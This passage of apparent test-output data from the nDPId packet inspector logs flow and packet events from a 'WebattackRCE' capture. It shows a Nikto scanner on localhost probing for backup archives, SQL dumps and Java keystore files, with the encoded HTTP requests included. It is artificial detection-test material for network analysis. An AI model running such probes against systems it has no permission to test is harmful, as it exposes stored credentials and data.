{"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":390,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":390,"flow_packet_id":1,"flow_first_seen":1576420277292,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50324,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":390,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":390,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":292582,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC9VNAAEAGRuB\/AAABfwAAAcSUH5A3Js37LMn8joAYAED+tgAAAQEICp1m\/VSdZv1UR0VUIC8xMjcwMDEudGd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":390,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":390,"flow_packet_id":1,"flow_first_seen":1576420277292,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50324,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":391,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":391,"flow_packet_id":1,"flow_first_seen":1576420277293,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50326,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":391,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":391,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":293954,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB0lRAAEAGaeB\/AAABfwAAAcSWH5D4eer6AmSqt4AYAED+tQAAAQEICp1m\/VWdZv1VR0VUIC8xLnRhci5iejIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":391,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":391,"flow_packet_id":1,"flow_first_seen":1576420277293,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50326,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":392,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":392,"flow_packet_id":1,"flow_first_seen":1576420277295,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50328,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":392,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":392,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":295461,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBgrRAAEAGuYB\/AAABfwAAAcSYH5BqProaPd\/PWYAYAED+tQAAAQEICp1m\/VedZv1XR0VUIC8xLnRhci5iejIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":392,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":392,"flow_packet_id":1,"flow_first_seen":1576420277295,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50328,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":393,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":393,"flow_packet_id":1,"flow_first_seen":1576420277296,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50330,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":393,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":393,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":296970,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFhERAAEAGt+x\/AAABfwAAAcSaH5DLx7zvpnN3coAYAED+uQAAAQEICp1m\/VidZv1YR0VUIC8xMjcwMDEudGFyLmd6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":393,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":393,"flow_packet_id":1,"flow_first_seen":1576420277296,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50330,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":394,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":394,"flow_packet_id":1,"flow_first_seen":1576420277298,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50332,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":394,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":394,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":298381,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFkbNAAEAGqn1\/AAABfwAAAcScH5DniakeYsnjE4AYAED+uQAAAQEICp1m\/VqdZv1aR0VUIC8xMjcwMDEudGFyLmd6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":394,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":394,"flow_packet_id":1,"flow_first_seen":1576420277298,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50332,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":395,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":395,"flow_packet_id":1,"flow_first_seen":1576420277299,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50334,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":395,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":395,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":299833,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADATXFAAEAG7sR\/AAABfwAAAcSeH5C5OnXDLQhZdIAYAED+tAAAAQEICp1m\/VudZv1bR0VUIC8xMjcwLnNxbCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":395,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":395,"flow_packet_id":1,"flow_first_seen":1576420277299,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50334,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":396,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":396,"flow_packet_id":1,"flow_first_seen":1576420277301,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50336,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":396,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":396,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":301190,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAvp1AAEAGfZh\/AAABfwAAAcSgH5BBBoY3\/wT40oAYAED+tAAAAQEICp1m\/V2dZv1dR0VUIC8xMjcwLnNxbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":396,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":396,"flow_packet_id":1,"flow_first_seen":1576420277301,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50336,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":397,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":397,"flow_packet_id":1,"flow_first_seen":1576420277302,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50338,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":397,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":302321,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADG+c1AAEAGQmJ\/AAABfwAAAcSiH5Dkc8Fn99puBYAYAED+ugAAAQEICp1m\/V6dZv1eR0VUIC8xMjcwMDEudGFyLmJ6MiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":397,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":397,"flow_packet_id":1,"flow_first_seen":1576420277302,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50338,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":398,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":398,"flow_packet_id":1,"flow_first_seen":1576420277304,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50340,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":398,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":304642,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGn2FAAEAGnM5\/AAABfwAAAcSkH5ABoKfybJgPqoAYAED+ugAAAQEICp1m\/WCdZv1gR0VUIC8xMjcwMDEudGFyLmJ6MiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":398,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":398,"flow_packet_id":1,"flow_first_seen":1576420277304,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50340,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.tar.bz2","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":399,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":399,"flow_packet_id":1,"flow_first_seen":1576420277306,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50342,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":399,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":306067,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBq8lAAEAGkGt\/AAABfwAAAcSmH5B085NqCLeHfoAYAED+tQAAAQEICp1m\/WGdZv1hR0VUIC8xMjcwMC5qa3MgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":399,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":399,"flow_packet_id":1,"flow_first_seen":1576420277306,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50342,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":400,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":400,"flow_packet_id":1,"flow_first_seen":1576420277307,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50344,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":400,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":307316,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBE+BAAEAGKFV\/AAABfwAAAcSoH5A\/FCtx8eapa4AYAED+tQAAAQEICp1m\/WOdZv1jR0VUIC8xMjcwMC5qa3MgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":400,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":400,"flow_packet_id":1,"flow_first_seen":1576420277307,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50344,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":401,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":401,"flow_packet_id":1,"flow_first_seen":1576420277308,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50346,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":401,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":308511,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBd5tAAEAGxJl\/AAABfwAAAcSqH5Asxk83LE5RU4AYAED+tQAAAQEICp1m\/WSdZv1kR0VUIC8xMjcwMC5lZ2cgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":401,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":401,"flow_packet_id":1,"flow_first_seen":1576420277308,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50346,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":402,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":402,"flow_packet_id":1,"flow_first_seen":1576420277309,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50348,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":402,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":309635,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB9HRAAEAGR8B\/AAABfwAAAcSsH5BlTMzeEpcpJ4AYAED+tQAAAQEICp1m\/WWdZv1lR0VUIC8xMjcwMC5lZ2cgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} 